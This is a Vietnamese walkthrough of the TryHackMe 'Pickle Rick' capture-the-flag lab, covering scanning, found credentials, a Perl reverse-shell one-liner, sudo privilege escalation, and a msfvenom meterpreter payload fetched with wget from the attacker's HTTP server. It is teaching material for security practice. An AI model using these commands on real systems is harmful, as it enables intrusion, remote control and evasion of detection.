Server
khai thác:
https://tryhackme.com/room/picklerick
Thực
hiện start machine để lấy địa chỉ ip của
mục tiêu cần khai thác:

Ping
kiểm tra máy Kali có đang cùng mạng với Mục tiêu
hay ko:

Thực
hiện scan các port TCP:
nmap -vv -Pn -T4 -sC -sV -O -p- 10.10.176.127


Thực hiện việc scan các
port UDP
nmap -vv -Pn -T4 -sU -sV 10.10.176.127

Dựa
trên kết quả quét các port TCP và phiên bản như trên, có
thể thấy Server đang mở 2 port 22 và 80. Trong đó
port 22 là service SSH với phiên bản OpenSSH 7.2p2.
Thử
truy cập bằng ssh đên server -> nhưng thất bại

T́m
lỗi liên quan đến phiên bản của SSH này

Dựa
vào kết quả t́m kiếm, rất có thể Server dính lỗ
hỏng “Usename Enumeration”. Thông qua t́m hiểu th́ lỗi này
thường chạy rất mất thời gian để
t́m ra username cho SSH, sau đó lại c̣n phải brute force t́m
password cho tài khoản đó mà chưa chắc sẽ t́m ra
được -> tạm thời bỏ qua.
Chuyển
đến tiếp theo sẽ là port 80. Tiến hành truy cập
trang web theo địa chỉ của Server, t́m source:

Và
src của nó sẽ là:
<!DOCTYPE html> <html lang="en"> <head>
<title>Rick is sup4r cool</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,
initial-scale=1">
<link rel="stylesheet"
href="assets/bootstrap.min.css">
<script src="assets/jquery.min.js"></script>
<script
src="assets/bootstrap.min.js"></script>
<style>
.jumbotron {
background-image: url("assets/rickandmorty.jpeg");
background-size: cover;
height: 340px; }
</style> </head> <body>
<div class="container">
<div class="jumbotron"></div>
<h1>Help Morty!</h1></br>
<p>Listen Morty... I need your help, I've turned myself into a
pickle again and this time I can't change back!</p></br>
<p>I need you to <b>*BURRRP*</b>....Morty, logon
to my computer and find the last three secret ingredients to finish my
pickle-reverse potion. The only problem is,
I have no idea what the <b>*BURRRRRRRRP*</b>, password
was! Help Morty, Help!</p></br>
</div> <!-- Note to self,
remember username! Username:
R1ckRul3s --> </body> </html>
Phần
màu xanh lá ở trên là comment trên front end code, đây có thể
là user dùng để đăng nhập lên chính trang web hoặc
là dùng đăng nhập SSH. Nhưng tạm thời th́ cứ
để đây và tiếp tục t́m kiếm các thông tin
khác như các dir ẩn.
Thực
hiên chạy lệnh:
gobuster dir -w common-web-content.txt -u 10.10.176.127 -t 25 -x
txt,php,py,sh
· gobuster: tên lệnh
· dir: chế độ t́m file ẩn
· -u: url của server nạn nhân
· -w: tên wordlist cần dùng
· -x: những extension muốn t́m (thường với
website linux sẽ là txt, php, php5, py, rb, pl, sh)
· -t: số threads chạy trong 1 giây

Có
thể nhận thấy 2 đường dẫn trả về
status 200. Tiến hành truy cập 2 trang này.
Với
url đầu tiên:

Đây
có thể là password cho username vừa t́m được hồi
nảy.
Với
cái thứ 2, chúng ta được một nơi như là
chỗ để đăng nhập:

Đăng
nhập thành công th́ được một nơi như thế
này:

Đến
đây th́ test thử một cài câu lệnh xem cái Command Panel
này hoạt động như thế nào.


TIP QUAN TRỌNG:
Thông
thường, chúng ta có thể sử dụng tŕnh điều
khiển này để pentest tiếp, nhưng lúc này lại
có một vấn đề như thế này. Để có
thể truy cập vào được tŕnh điều khiển
server bằng ḍng lệnh này, chúng ta cần phải
đăng nhập thành công vào admin dashboard, vậy điều
ǵ sẽ xảy ra nếu như password và username bị thay
đổi? Khả năng cao là chúng ta sẽ không thể
truy cập vào tŕnh điều khiển này được nữa
và phải t́m một lỗi khai thác khác.
Để
tránh trường hợp trên xảy ra, chúng ta sẽ thiết
lập một TCP reverse shell. Hay có thể giải thích
đơn giản rằng chúng ta sẽ thiết lập một
kết nối TCP từ máy nạn nhân đến máy của
pentester và chúng ta sẽ điều khiển máy nạn nhân
thông qua kết nối TCP đó. Như vậy, chúng ta không cần
phải lo lắng chuyện mất quyền truy cập vào
tŕnh điểu khiển nữa.
Kiểm
tra trên server có đang chạy bash, perl, python, ruby ǵ không?

Chúng
ta đă xác định được server có chạy những
loại nào, tiếp theo sẽ tạo một Reverse shell bằng
những câu lệnh như link sau.( Hoặc link
này).
Trước
đó cần phải xác định IP mà máy pentester đă
dùng VPN tới, đồng thời là một port để
nhận tín hiệu gửi về. Phần IP th́ có sẳn,
kiểm tra xem một port nào đó có đang được
mở dùng trên máy dùng câu lệnh nmap, telnet, cat /etc/services.
Chúng
ta sẽ mượn port 8888 để nhận kết nối
chỏ về từ máy server. Cách mở port trên máy kali: nc
-nlvp 8888
·
n: Mang ư
nghĩa chúng ta sẽ chỉ dùng IPv4 address, không dùng domain
·
-l: Chế
độ lắng nghe
·
-v: Verbose –
Cho biết quá tŕnh lắng nghe đang diễn ra thế nào
·
-p: Chỉ
định port để lắng nghe
Tiếp
theo sử dụng những câu lệnh để excute từ
trên server, trong trường hợp này là:
perl -e 'use Socket;$i="10.4.43.108";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh
-i");};'
CHÚ Ư: lúc làm lab tới đây th́ tắt đi nghỉ,
nên địa chỉ server của tryhackmy sẽ thay đổi
khi bật lên làm tiếp:
-
IP server: 10.10.105.178
-
IP của máy kali: 10.4.43.108
Sau khi excute câu lệnh trên
web cùng với thực hiện lắng nghe trên máy kali, kết
quả nhận được:

T́m key thứ nhất:
Sau
khi có kết nối rồi, dùng lệnh kiểm tra các tập
tin/ thư mục đang hiện hành nên dùng lệnh “ls -la”

Có
một file dạng txt khả nghi, đọc file đó =>
key1: mr. meeseek hair
T́m key thứ 2
Đầu
tiên di chuyển ra thư mục root và liệt kê ra các
file/dir hiện hành:

Kiến
thức thu lụm được:
Ở
thời điểm này, chỉ cần chú ư đến 3
directories đó là
·
home:
Nơi chứa những directories của những người
dùng thông thường. Những người dùng thông thường
sẽ được phép truy cập vào directory home này,
nhưng không được phép thay đổi những
directories (ví dụ như thêm hoặc xóa) được chứa
bên trong directory home.
·
root:
Directory của root hay admin, người có quyền quản
trị cao nhất và chỉ có root/admin mới được
quyền truy cập vào đây.
·
tmp: đây
là directory thường được dùng để lưu
trữ những dữ liệu tạm thời, và được
cấp quyền truy cập, sửa đổi và thực
thi cho tất cả người dùng hệ thống (cả
root lẫn người dùng thường). V́ lẽ, directory
này rất hay bị lợi dụng làm nơi chuyển dữ
liệu hoặc mă độc giữa máy hacker và máy nạn
nhân. Cũng như hacker có thể chạy file mă độc
ngay tại directory tmp để tấn công hệ thống.
Di
chuyển vào thư mục home, liệt kê các user:

Kết
quả trả về là có 2 người dùng b́nh thường
là rick và ubuntu, và chúng ta có quyền truy cập vào cả 2
directories này. Thế tại sao account www-data lại không có ở
đây? V́ account www-data là account mặc định được
hệ thống webserver (ví dụ như Apache hoặc Nginx,
v.v.) sử dụng cho các tác vụ thường ngày. Đây
là một account b́nh thường và không có quyền hạn
ǵ đặc biệt.
Vào
trong user rick để t́m key thứ 2

T́m key thứ 3
Lúc
này chuyển qua user c̣n lại trong thư mục home để
t́m. Ở đây chúng ta có 2 file để chú ư là
.sudo_as_admin_successful và .ssh. Nhưng .sudo_as_admin_successful có số
byte dữ liệu bằng 0 nên đây là một file trống.
C̣n directory .ssh không cho chúng ta quyền truy cập. Có thể
thử cd đến .ssh sẽ nhận được báo lỗi
sau

Do
đó cần phải leo thang đặc quyền để
có thể truy cập được trong dir này. Privileges
escalation là một lĩnh vực khá rộng và có vô số
cách cũng như kỹ thuật để thực hiện.
Trong đó có 2 cách phổ biến nhất đó là sử dụng:
·
Kernal
exploit: Nghĩa là lợi dụng những lỗ hổng bảo
mật nằm trong nhân Linux hoặc hệ điều hành
Ubuntu để tiến hành nâng quyền quản trị.
·
Sudo rights:
Lợi dụng các công cụ được cấp quyền
sử dụng để nâng quyền quản trị.
Đầu
tiên bắt đầu với Kernal exploit, cần phải
thu thập thông tin liên quan đến OS, kernel như sau:

![]()
Kết
hợp các điều trên có nghĩa là chúng ta cần t́m một
phần mềm khai thác lỗi cho phép nâng cấp quyền quản
trị trên Ubuntu 16.04.5 LTS hoặc Kernel 4.4.0-1072-aws được
viết bằng Bash, Perl, C hoặc có đuôi .elf (file thực
thi trên Linux).
Tiến
hành t́m lỗi những không mấy khả quan

Kết
quả không mấy khả quan nên sẽ chuyển qua cách
nâng cấp đặc quyền thứ 2 là sudo right.
Kiến
thức: tất cả mọi thứ từ
thiết bị, công cụ, câu lệnh, interface, ip address,
port, v.v trên Linux đều là một file. Do đó, việc bạn
có thể sử dụng một công cụ ví dụ Perl hay một
ḍng lệnh ví dụ ls được hay không phụ thuộc
hoàn toàn vào việc bạn có quyền tiếp cận, và thực
thi với file Perl hoặc file ls hay không. Mỗi account trong hệ
thống Linux thường sẽ được cấp
phép sử dụng một số công cụ hoặc câu lệnh
để thực hiện công việc của họ. Và các
công cụ hoặc câu lệnh này nếu không được
quản trị kỹ, chúng hoàn toàn có thể bị lợi
dụng để nâng cấp lên quyền quản trị
cao hơn, hoặc thậm chí là quyền quản trị
root.
Do
đó, cần kiểm tra quyền của account hiện tại:

Dựa
vào kết quả trên chúng ta có thể thấy, account của
chúng ta có quyền sử dụng bất kỳ công cụ và
câu lệnh nào đang có trên server Pickle Rick mà không cần phải
cung cấp password của account hiện tại hoặc
password của account root.
Do
không yêu cầu về password nên sử dụng câu lệnh
“sudo su” để nâng cấp đặc quyền lên root
luôn.

Lúc
này xem như đă nắm được toàn bộ Server,
do đó nên đi ṿng ṿng kiếm flag cho thử thách thứ
3 thui, kết quả nhận được sẽ là:

đ Giải được toàn bộ flag của
Pickle Rick
--------------------------------------------------------------------------------------------------------------------------------------------ĐÂY
LÀ PHẦN KIẾN THỨC LIÊN QUAN NHƯNG NÂNG CAO
HƠN------------
---------------------------------------------------------------------------------------------------------------------
Trong
CTF, sau khi hoàn thành phần 3 bên trên là đă có thể coi
như đă chiến thắng. Nhưng khi đi làm pentest, sẽ
có khác biệt một tí. Khác biệt đó nằm ở chỗ
kết nối TCP reverse shell đang dùng vẫn chưa phải
là một kết nối bền vững và có thể bị
can thiệp bất cứ lúc nào do kết nối trên có thể
bị phát hiện bởi Task Manager. Chưa kể
đường truyền TCP reverse shell không được
mă hóa, dễ dẫn đến t́nh trạng lộ thông tin
nhạy cảm của cả pentester lẫn nạn nhân.
Để
pḥng tránh việc đó, chúng ta sẽ nâng cấp đường
truyền từ TCP reverse shell thành Meterpreter shell. Ưu
điểm của Meterpreter shell so với TCP reverse shell
như sau:
·
Meterpreter sử
dụng in-memory DLL injection, nghĩa là nó sẽ chỉ ghi dữ
liệu trên RAM mà thôi, và không ghi ǵ vào ổ cứng cả,
do đó hạn chế việc để lại dấu vết.
·
Kết nối
meterpreter không tạo ra process mới mà sẽ tự inject nó
vào process đă bị tấn công khiến nó gần như
vô h́nh trước các chương tŕnh như Task Manager trên
Windows. Khi process bị meterpreter tấn công bị kill,
meterpreter sẽ tự động nhảy sang một process
khác để duy tŕ kết nối.
·
Kết nối
meterpreter được mă hóa.
·
Do
meterpreter là một tính năng của Metasploit, sử dụng
meterpreter cho phép pentester sử dụng luôn các module post-exploitation
ví dụ như keyblogger, cổng hậu, v.v. có sẵn trên
Metasploit để tấn công sâu hơn vào hệ thống của
nạn nhân.
Chúng
ta sẽ bắt đầu nâng cấp đường truyền
từ TCP reverse shell thành Meterpreter shell.
Sử
dụng câu lệnh sau để tạo ra một file meterpreter
msfvenom
-p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -o
shell.elf
Trong
đó:
·
msfvenom: Tên câu lệnh
·
-p
linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết
nối sẽ sử dụng
·
LHOST và
LPORT: Địa chỉ IP và
port dùng để nhận shell trên máy Kali của hacker
·
-f: Format của dữ liệu đầu ra. Ở
đây chọn elf là extension file thực thi của Linux.
·
-o: Xuất ra file có tên là shell.elf
Tiếp
theo sử dụng câu lệnh
Python3 -m http.server 8000
Câu
lệnh trên sử dụng một module của Python có tên là
SimpleHTTPServer để biến directory hiện tại thành
một webserver cho phép trao đổi file tại port 8000 với
địa chỉ IP là IP của hacker. Webserver này có thể
được truy cập bởi tất cả các máy ở
trong cùng mạng.

Sử
dụng câu lệnh sau trên server để download
wget http://10.4.43.108:8000/shell.elf

Thực
hiện cấp quyền thực thi trên máy Server và excute file
đó

Quay
lại trên máy kali, tiến hành dùng metasploit để nhận
kết nối trỏ về
msfconsole
use
exploit/multi/handler
set
LHOST <IP của bạn>
set
LPORT <Port đă dùng trong command msfvenom bên trên>
set
PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit
Kết
quả cuối cùng nhận được sẽ là
